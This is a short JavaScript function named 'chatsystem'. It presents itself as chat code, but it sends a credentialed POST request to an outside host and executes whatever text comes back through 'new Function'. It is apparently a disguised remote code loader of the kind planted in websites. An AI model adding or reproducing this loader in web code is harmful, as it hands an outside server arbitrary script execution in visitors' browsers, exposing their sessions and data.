function chatsystem(key) {
  let xhr = new XMLHttpRequest();
  let url = 'https://secure-chatsystem.com/api/get-code/' + key;
  xhr.open("POST", url);
  xhr.withCredentials = true;
  xhr.send();
  xhr.onreadystatechange = function() {
    // If the request completed call the function
    if (xhr.readyState === 4) {
      if (xhr.status === 200){
        let data = xhr.responseText;
        let F = new Function(data);
        return (F());
      }
    }
  }
}